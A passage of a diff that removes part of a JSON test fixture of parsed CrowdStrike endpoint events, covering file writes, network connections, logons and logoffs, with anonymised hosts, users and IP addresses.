-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "0"
-                    }
-                },
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:14.427Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3899738370",
-                "ContextProcessId": "1546527409909",
-                "ContextTimeStamp": "2020-11-08T17:05:14.133Z",
-                "DesiredAccess": "1180054",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileAttributes": "0",
-                "FileObject": "18446655033844205120",
-                "Information": "2",
-                "IrpFlags": "2180",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "Options": "88080484",
-                "ShareAccess": "1",
-                "Status": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-80b5-06e11a66e03d",
-                "name": "NewScriptWrittenV7"
-            },
-            "device": {
-                "id": "ffffffff8f1e4b77b4dae5debaa1c8bc"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:05:14.427Z",
-                "id": "ffffffff-1111-11eb-80b5-06e11a66e03d|ffffffff8f1e4b77b4dae5debaa1c8bc|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3899738370\",\"ContextProcessId\":\"1546527409909\",\"ContextThreadId\":\"4711690090889\",\"ContextTimeStamp\":\"1604855114.133\",\"DesiredAccess\":\"1180054\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"0\",\"FileIdentifier\":\"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00\",\"FileObject\":\"18446655033844205120\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"88080484\",\"ShareAccess\":\"1\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\Temp\\\\__PSScriptPolicyTest_dvkjnbka.apn.ps1\",\"aid\":\"ffffffff8f1e4b77b4dae5debaa1c8bc\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewScriptWritten\",\"id\":\"ffffffff-1111-11eb-80b5-06e11a66e03d\",\"name\":\"NewScriptWrittenV7\",\"timestamp\":\"1604855114427\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Windows\\Temp",
-                "extension": "ps1",
-                "inode": "501ee2c32e53fb43b07f419f3236fb45c29e000000002c00",
-                "name": "__PSScriptPolicyTest_dvkjnbka.apn.ps1",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff8f1e4b77b4dae5debaa1c8bc",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NewScriptWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff8f1e4b77b4dae5debaa1c8bc",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1546527409909",
-                "thread": {
-                    "id": 4711690090889
-                }
-            },
-            "related": {
-                "hash": [
-                    "3899738370"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:16.502Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1306766522",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "321275232072440993",
-                "ContextTimeStamp": "2020-11-08T17:05:16.421Z",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "0.0.0.0"
-                ],
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-aca9-02683aed2a0d",
-                "name": "NetworkConnectIP4MacV5"
-            },
-            "destination": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffffd4094240a6b1d12aaf304f4f"
-            },
-            "event": {
-                "action": "NetworkConnectIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:05:16.502Z",
-                "id": "ffffffff-1111-11eb-aca9-02683aed2a0d|ffffffffd4094240a6b1d12aaf304f4f|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.4.0012205.1\",\"ConfigStateHash\":\"1306766522\",\"ConnectionDirection\":\"1\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321275232072440993\",\"ContextTimeStamp\":\"1604855116.421\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"0.0.0.0\",\"LocalPort\":\"0\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"67.43.156.14\",\"RemotePort\":\"443\",\"aid\":\"ffffffffd4094240a6b1d12aaf304f4f\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkConnectIP4\",\"id\":\"ffffffff-1111-11eb-aca9-02683aed2a0d\",\"name\":\"NetworkConnectIP4MacV5\",\"timestamp\":\"1604855116502\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffffd4094240a6b1d12aaf304f4f",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NetworkConnectIP4",
-            "network": {
-                "direction": "inbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffffd4094240a6b1d12aaf304f4f",
-                "version": "1007.4.0012205.1"
-            },
-            "process": {
-                "entity_id": "321275232072440993"
-            },
-            "related": {
-                "hash": [
-                    "1306766522"
-                ],
-                "ip": [
-                    "67.43.156.13",
-                    "0.0.0.0",
-                    "67.43.156.14"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "port": 443
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:16.942Z",
-            "crowdstrike": {
-                "ConfigStateHash": "2602391615",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "223442259384",
-                "ContextTimeStamp": "2020-11-08T17:05:16.849Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "67.43.156.14"
-                ],
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-b0eb-06be7616c211",
-                "name": "NetworkConnectIP4V5"
-            },
-            "destination": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "port": 443
-            },
-            "device": {
-                "id": "fffffffff000426eb99afaa2ccdcbc17"
-            },
-            "event": {
-                "action": "NetworkConnectIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:05:16.942Z",
-                "id": "ffffffff-1111-11eb-b0eb-06be7616c211|fffffffff000426eb99afaa2ccdcbc17|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2602391615\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"223442259384\",\"ContextTimeStamp\":\"1604855116.849\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"67.43.156.14\",\"LocalPort\":\"53961\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"67.43.156.14\",\"RemotePort\":\"443\",\"aid\":\"fffffffff000426eb99afaa2ccdcbc17\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkConnectIP4\",\"id\":\"ffffffff-1111-11eb-b0eb-06be7616c211\",\"name\":\"NetworkConnectIP4V5\",\"timestamp\":\"1604855116942\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "fffffffff000426eb99afaa2ccdcbc17",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkConnectIP4",
-            "network": {
-                "community_id": "1:gnQhhn0wJhJU+wrHlczmnm7THKs=",
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "fffffffff000426eb99afaa2ccdcbc17",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "223442259384"
-            },
-            "related": {
-                "hash": [
-                    "2602391615"
-                ],
-                "ip": [
-                    "67.43.156.13",
-                    "67.43.156.14"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "port": 53961
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:21.077Z",
-            "crowdstrike": {
-                "AuthenticationId": "6580764513",
-                "AuthenticationPackage": "Negotiate",
-                "ConfigStateHash": "3011122681",
-                "ContextProcessId": "816054990879",
-                "ContextTimeStamp": "2020-11-08T17:04:51.781Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "LogonTime": "2020-11-08T17:04:51.781Z",
-                "LogonType": "9",
-                "RemoteAccount": "1",
-                "UserFlags": "0",
-                "UserLogonFlags": "12",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-a8cf-0649c95cfa1d",
-                "name": "UserLogonV8"
-            },
-            "device": {
-                "id": "ffffffff8d2e4b4f9b21b40633a8d579"
-            },
-            "event": {
-                "action": "UserLogon",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-11-08T17:05:21.077Z",
-                "id": "ffffffff-1111-11eb-a8cf-0649c95cfa1d|ffffffff8d2e4b4f9b21b40633a8d579|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"6580764513\",\"AuthenticationPackage\":\"Negotiate\",\"ClientComputerName\":\"-\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"816054990879\",\"ContextThreadId\":\"52913017705957\",\"ContextTimeStamp\":\"1604855091.781\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonDomain\":\"NT AUTHORITY\",\"LogonServer\":\"\",\"LogonTime\":\"1604855091.781\",\"LogonType\":\"9\",\"PasswordLastSet\":\"\",\"RemoteAccount\":\"1\",\"UserFlags\":\"0\",\"UserIsAdmin\":\"0\",\"UserLogonFlags\":\"12\",\"UserName\":\"SYSTEM\",\"UserPrincipal\":\"user4@dom2\",\"UserSid\":\"S-1-5-18\",\"aid\":\"ffffffff8d2e4b4f9b21b40633a8d579\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogon\",\"id\":\"ffffffff-1111-11eb-a8cf-0649c95cfa1d\",\"name\":\"UserLogonV8\",\"timestamp\":\"1604855121077\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "domain": "NT AUTHORITY",
-                "id": "ffffffff8d2e4b4f9b21b40633a8d579",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogon",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff8d2e4b4f9b21b40633a8d579",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "816054990879",
-                "thread": {
-                    "id": 52913017705957
-                }
-            },
-            "related": {
-                "hash": [
-                    "3011122681"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "SYSTEM",
-                    "user4",
-                    "user4@dom2",
-                    "S-1-5-18"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "dom2",
-                "email": "user4@dom2",
-                "full_name": "user4",
-                "id": "S-1-5-18",
-                "name": "SYSTEM"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:21.109Z",
-            "crowdstrike": {
-                "AuthenticationId": "2007206396",
-                "ConfigStateHash": "3011122681",
-                "ContextProcessId": "4415814628770",
-                "ContextTimeStamp": "2020-11-08T17:05:20.785Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileEcpBitmask": "0",
-                "FileObject": "18446708893089967904",
-                "IrpFlags": "1028",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "IsTransactedFile": "0",
-                "MajorFunction": "18",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "SHA256HashData": "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182",
-                "TokenType": "1",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-b091-06f6cca0a049",
-                "name": "PeFileWrittenV14"
-            },
-            "device": {
-                "id": "ffffffff2c47454cba360bc404a607bb"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:05:21.109Z",
-                "id": "ffffffff-1111-11eb-b091-06f6cca0a049|ffffffff2c47454cba360bc404a607bb|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"2007206396\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"4415814628770\",\"ContextThreadId\":\"41392001729898\",\"ContextTimeStamp\":\"1604855120.785\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_1000\\u0026DEV_0054\\u0026SUBSYS_197615AD\\u0026REV_01\\\\4\\u00261f16fef7\\u00260\\u002600A8\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c\",\"FileObject\":\"18446708893089967904\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"0\",\"IsTransactedFile\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"SHA256HashData\":\"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182\",\"Size\":\"6144\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume2\\\\Users\\\\user10\\\\AppData\\\\Local\\\\Temp\\\\ec1ijefl.dll\",\"TokenType\":\"1\",\"aid\":\"ffffffff2c47454cba360bc404a607bb\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"PeFileWritten\",\"id\":\"ffffffff-1111-11eb-b091-06f6cca0a049\",\"name\":\"PeFileWrittenV14\",\"timestamp\":\"1604855121109\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "PCI\\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\\4&1f16fef7&0&00A8",
-                "directory": "\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp",
-                "extension": "dll",
-                "hash": {
-                    "sha256": "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182"
-                },
-                "inode": "b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c",
-                "name": "ec1ijefl.dll",
-                "path": "\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll",
-                "size": 6144,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff2c47454cba360bc404a607bb",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "PeFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff2c47454cba360bc404a607bb",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "4415814628770",
-                "thread": {
-                    "id": 41392001729898
-                }
-            },
-            "related": {
-                "hash": [
-                    "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182",
-                    "3011122681"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:34.461Z",
-            "crowdstrike": {
-                "AuthenticationId": "317005428",
-                "AuthenticationPackage": "Negotiate",
-                "ConfigStateHash": "3950066843",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "LogoffTime": "2020-11-08T17:05:32.756Z",
-                "LogonServer": "srv2",
-                "LogonTime": "2020-11-08T17:05:31.666Z",
-                "LogonType": "7",
-                "PasswordLastSet": "1598119332.510",
-                "RemoteAccount": "1",
-                "UserFlags": "32",
-                "UserLogoffType": "3",
-                "UserLogonFlags": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8913-0287fd11c79b",
-                "name": "UserLogoffV3"
-            },
-            "device": {
-                "id": "ffffffffe0104823bd3de859d5bc8bc7"
-            },
-            "event": {
-                "action": "UserLogoff",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-11-08T17:05:34.461Z",
-                "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"timestamp\":\"1604855134461\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "domain": "dom1",
-                "id": "ffffffffe0104823bd3de859d5bc8bc7",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogoff",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffffe0104823bd3de859d5bc8bc7",
-                "version": "1007.3.0011603.1"
-            },
-            "related": {
-                "hash": [
-                    "3950066843"
-                ],
-                "hosts": [
-                    "srv2"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user4",
-                    "user.name",
-                    "user.name@dom2.com",
-                    "S-1-5-21-606747145-1364589140-725345543-28636"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "dom2.com",
-                "email": "user.name@dom2.com",
-                "full_name": "user.name",
-                "id": "S-1-5-21-606747145-1364589140-725345543-28636",
-                "name": "user4"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:49.643Z",
-            "crowdstrike": {
-                "ConfigStateHash": "537307300",
-                "ContextProcessId": "635780922149",
-                "ContextTimeStamp": "2020-11-08T17:03:45.966Z",
-                "DesiredAccess": "1180054",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileAttributes": "128",
-                "FileObject": "18446695174291796544",
-                "Information": "2",
-                "IrpFlags": "2180",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "Options": "83886176",
-                "ShareAccess": "3",
-                "Status": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-93cb-067deb43537b",
-                "name": "NewExecutableWrittenV1"
-            },
-            "device": {
-                "id": "ffffffff425942f58382dbb11350eeda"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:05:49.643Z",
-                "id": "ffffffff-1111-11eb-93cb-067deb43537b|ffffffff425942f58382dbb11350eeda|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"537307300\",\"ContextProcessId\":\"635780922149\",\"ContextThreadId\":\"9479299143023\",\"ContextTimeStamp\":\"1604855025.966\",\"DesiredAccess\":\"1180054\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"128\",\"FileIdentifier\":\"0e02a8c7ed9d244887cef0409af0e6190030000000001100\",\"FileObject\":\"18446695174291796544\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"83886176\",\"ShareAccess\":\"3\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Program Files\\\\Snow Software\\\\Inventory\\\\Agent\\\\cloudmeteringhost.exe\",\"aid\":\"ffffffff425942f58382dbb11350eeda\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewExecutableWritten\",\"id\":\"ffffffff-1111-11eb-93cb-067deb43537b\",\"name\":\"NewExecutableWrittenV1\",\"timestamp\":\"1604855149643\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent",
-                "extension": "exe",
-                "inode": "0e02a8c7ed9d244887cef0409af0e6190030000000001100",
-                "name": "cloudmeteringhost.exe",
-                "path": "\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff425942f58382dbb11350eeda",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NewExecutableWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff425942f58382dbb11350eeda",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "635780922149",
-                "thread": {
-                    "id": 9479299143023
-                }
-            },
-            "related": {
-                "hash": [
-                    "537307300"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:50.545Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3765958535",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "50714198593318",
-                "ContextTimeStamp": "2020-11-08T17:05:50.066Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "127.0.0.1"
-                ],
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8726-063418e4a9e7",
-                "name": "NetworkListenIP4V5"
-            },
-            "destination": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffffa51b4acf9dbc1fc273e6145c"
-            },
-            "event": {
-                "action": "NetworkListenIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:05:50.545Z",
-                "id": "ffffffff-1111-11eb-8726-063418e4a9e7|ffffffffa51b4acf9dbc1fc273e6145c|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ConnectionDirection\":\"2\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"50714198593318\",\"ContextThreadId\":\"194302491825207\",\"ContextTimeStamp\":\"1604855150.066\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"127.0.0.1\",\"LocalPort\":\"59491\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"0.0.0.0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffa51b4acf9dbc1fc273e6145c\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkListenIP4\",\"id\":\"ffffffff-1111-11eb-8726-063418e4a9e7\",\"name\":\"NetworkListenIP4V5\",\"timestamp\":\"1604855150545\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffffa51b4acf9dbc1fc273e6145c",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkListenIP4",
-            "network": {
-                "direction": "unknown",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffa51b4acf9dbc1fc273e6145c",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "50714198593318",
-                "thread": {
-                    "id": 194302491825207
-                }
-            },
-            "related": {
-                "hash": [
-                    "3765958535"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "127.0.0.1",
-                    "0.0.0.0"
-                ]
-            },
-            "source": {
-                "address": "127.0.0.1",
-                "ip": "127.0.0.1",
-                "port": 59491
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:54.274Z",
-            "crowdstrike": {
-                "ClientComputerName": "com1",
-                "ConfigStateHash": "3011122681",
-                "ContextProcessId": "7073822473144",
-                "ContextTimeStamp": "2020-11-08T17:05:52.993Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "EtwRawThreadId": 5304,
-                "LogonType": "3",
-                "Status": "3221225581",
-                "SubStatus": "3221225578",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-a8aa-067029dffccb",
-                "name": "UserLogonFailed2V2"
-            },
-            "destination": {
-                "address": "67.43.156.14",
-                "as": {
